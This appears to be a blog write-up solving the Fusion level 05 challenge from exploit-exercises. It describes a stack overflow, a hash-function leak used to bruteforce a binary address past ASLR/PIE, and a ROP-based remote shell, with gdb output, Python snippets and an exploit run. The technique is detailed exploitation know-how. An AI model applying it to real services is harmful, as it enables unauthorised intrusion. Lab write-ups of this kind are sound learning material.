Solving fusion level 5

Intro

Recently I started playing with the virtual machines from exploit-exercises.com and decided to do some write-ups on some levels from the “Fusion” VM starting of with level 5 which is stack based overflow challenge with full ASLR/PIE/NX I didn’t include the source code of the level here because it’s kinda long, but you can check it at http://exploit-exercises.com/fusion/level05

Target

Our target seems to be a remote service listening on port 20005. Once connected
we enter the ‘childtask’ function where it does an endless loop of reading max. 512
of the socket and checks the data against a few known ‘commands’. They 5 known
commands are ‘addreg’, ‘senddb’, ‘checkname’, ‘quit’, ‘isup’

A little summarize on how they are supposed to formatted and what they do…

  • addreg name flag IP
    Add/Edit a ‘registrations’ entry in the array. The array index is calculated from the name using the ‘hash’ function. The flag has to be one of the following value’s 0,32,64,96,128,160,192,224 in order to allow adding or modifying the entry. The IP can be any valid IP formatted value like 0.0.0.0/255.255.255.255
  • senddb IP port
    Takes the IP and port and try’s to connect to it once connected it will send all the registration entry’s to it.
  • checkname name
    Get’s the array index using the ‘hash’ function from the given name and
    checks if its array entry is already set by checking the IP in the structure value(a value like 0.0.0.0 would would be considered ‘not set’) and then informs us if set or not
  • isup anything port
    Takes the port values and loops trough the registrations array try to connect to each IP with the given port once connected it will the entry of the IP it connected to.
  • quit  Exits..

Finding the bugs..

While looking at the code I could spot two possible stack-overflows. The first one would be in ‘senddb’ where it try’s to fit all the 128 array entry’s(if set..) into a 512 bytes buffer. Now since each entry contains a ‘registrations’ structure which is 6 bytes in size..

struct registrations
{
  short int flags; // 2 bytes
  in_addr_t ipv4;  // 4 bytes
} __attribute__((packed));

We could overflow the buffer(128 * 6 = 768 bytes)

The second issue I could spot was in the ‘get_and_hash’  function when ‘checkname’ call’s ‘get_and_hash’ it fails to check the max. name length of 32 causing an overflow in the ‘name’ buffer. This problem I actually discovered while playing with it and sending it a to long name causing it to crash immediately with a nice EIP overwrite.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/10wx $esp
0xb8907c20:	0x41414141	0x41414141	0x41414141	0x41414141
0xb8907c30:	0x41414141	0x41414141	0x41414141	0x41414141
0xb8907c40:	0x41414141	0x41414141
(gdb) i reg
eax            0x77	119
ecx            0x41	65
edx            0x56e8	22248
ebx            0xb779c11c	-1216757476
esp            0xb8907c20	0xb8907c20
ebp            0x41414141	0x41414141
esi            0x41414141	1094795585
edi            0x41414141	1094795585
eip            0x41414141	0x41414141
eflags         0x10292	[ AF SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

So that looked all good but since the target uses full ASLR/PIE/NX we need to leak some binary/library address in order to be able to build a ROP to bypass the NX. Now the first thing I came up with is that it had to be somewhere
in the ‘isup’/’senddb’ functions because of the overflows which could happen there and the fact it’s able to send me data but after playing for a while with those function I realized that they never could do me any good. Unlike level 4 this process isn’t forked so a crash-or-not bruteforce method doesn’t work here. I have to admit I got a bit stuck here and googled a bit around noticing I wasn’t the only one stuck here http://www.pwntester.com/2014/04/20/crowd-solving-fusion-level05/

By that time I didn’t really checked the ‘checkname’ behavior yet, I simply ported the hash routine to python and made it generate names for all 128 entry’s but if I added an entry and used ‘checkname’ to see if it got set I noticed something
weird! it seemed that the entry I expected to be set wasn’t set at all according to ‘checkname’ so I hooked up GDB to the process and placed a breakpoint in the ‘hash’ function where it calculates the array index(using the mask value) at
<hash+86> and run the ‘checkname’ command once more to see what happened.

Breakpoint 1, hash (str=0xb82a2b50 "AAAAAAAAP\250)\270.&}\267P\250)\270\b", length=21, mask=127) at level05/level05.c:23
23	in level05/level05.c 

If we look closely at the arguments given to the ‘hash’ function we could see something unexpected happening It seems that the function actually hashed a little more than just our ‘AAAAAAAA’ we could also see a length value of 21 which is a little more than our 8 chars. so i continued the debugger and tried it once more sending the same name(‘AAAAAAAA’)

Breakpoint 1, hash (str=0xb82a2b70 "AAAAAAAAP\250)\27065(}\26704", length=17, mask=127) at level05/level05.c:23
23	in level05/level05.c

Hmmm.. this time we got a length of 17 now this kinda explains why the ‘checkname’ kept saying that it wasn’t set while I clearly could see in the ‘registrations’ array that it was set. After redoing this test a few times I noticed it kept toggling between a length of 21 and 17. When I looked up the name buffer which was being hashed in case of a length of 17 I noticed the following

(gdb) x/8wx 0xb82a2b70
0xb82a2b70:	0x41414141	0x41414141	0xb829a850	0xb77d2835
0xb82a2b80:	0x00000004	0xb77d48fe	0xb77d27c0	0xb829aaec
(gdb) x/wx 0xb77d2835
0xb77d2835 :	0x10245c8b

We can see at 0xb82a2b70 the first 8 bytes which belongs to our name,  at 0xb82a2b70+8 we see some heap-address and at 0xb82a2b70+12 some
address which belongs to our binary eq. 0xb77d2835 <checkname+117> and finally at 0xb82a2b70+16 which is the current fd(handle) looking it up in bytes it looks like this

(gdb) x/17xb 0xb82a2b70
0xb82a2b70:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xb82a2b78:	0x50	0xa8	0x29	0xb8	0x35	0x28	0x7d	0xb7
0xb82a2b80:	0x04

After redoing the test a couple of times more I noticed the binary address at 0xb82a2b70+12 was always the same and the ‘fd’ at 0xb82a2b70+16 always 4. This could be very interesting if we could get the hash result
since we partly can control/predict the data being hashed but at that point I didn’t see how I could turn this behavior into my favor. I think it was 6 in the morning and I REALLY needed some sleep so went to bed, well.. that didn’t worked out to well because it kept messing with my head! so after laying in my bed for a couple of hours with my eyes pretty much wide open it suddenly hit me!

Cracking it!

If we do a checkname using a 15 chars name we would overwrite the heap-address at 0xb82a2b70+8 completely plus the first 3 bytes of the <checkname+117> address at 0xb82a2b70+12 and since we already know the ‘fd’ does that leave us with only 1 unknown byte being hashed(the one from the <checkname+117> address) and given the fact that we can control which array index is set using ‘addreg’ and also could clear this entry by doing ‘addreg name 0 0.0.0.0’ we could loop trough all 128 entry’s, set them and use checkname to see which index got set once we know this index we could simply create a list of bytes which results in that index/hash by hashing 0..255

result = dict()
for i in range(256):
	result[i] = _hash('AAAAAAAAAAAAAAA' + chr(i) + '\x04')

result[possible_byte_of_this_hash] = index/hash

So now we know every possible byte for that index/hash and if we continue on leaking more bytes by decreasing our name length from 15..12 we could retrieve each index/hash and so the possible bytes(assuming we know the other possible bytes) and use these to regenerate all the possible addresses to finally check if the last hash we recovered matches the hash of any of  our generated addresses assuming that where hash[3] == hash(‘AAAAAAAAAAAA’+generated_address+’\x04’) we have the correct address recovered. The only note to generating the possible addresses is that we should rely on the already known possible address bytes(knownpart) when we generate the next list of possible address bytes for a certain position.

result = dict()
for i in range(256):
	result[i] = _hash('AAAAAAAAAAAA' + (3 - currlen) * 'A' + chr(i) + knownpart + '\x04')

Once we have recovered the address of <checkname+117> completely we can subtract the rawoffset(0x2835) from it and recover the
baseaddresss and use it to build a ROP and finally use the known stack overflow in the checkname function to get some code execution going!!

Exploit code  http://pastebin.com/vt6BbFqG

h4x@kali:~/fusion$ ./flevel5.py 192.168.1.107 20005
[+] Bruteforcing checkname...
[+] Byte(1) hash(84) found
[+] Byte(2) hash(25) found
[+] Byte(3) hash(18) found
[+] Byte(4) hash(98) found
[+] Hashes: 84 25 18 98
[+] Address checkname+117 => 0xb7859835
[+] Sending exploit...
[+] Connecting to shell...
id
uid=20005 gid=20005 groups=20005
exit
*** Connection closed by remote host ***

Final words..

I think this was a pretty fun challenge! and without actually even knowing what caused this weird hash function behavior it kinda showed me once more that its good sometimes to check if the code actually does what you think it does by debugging it for example.

Time to hit bed it’s 6 in the morning again..

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s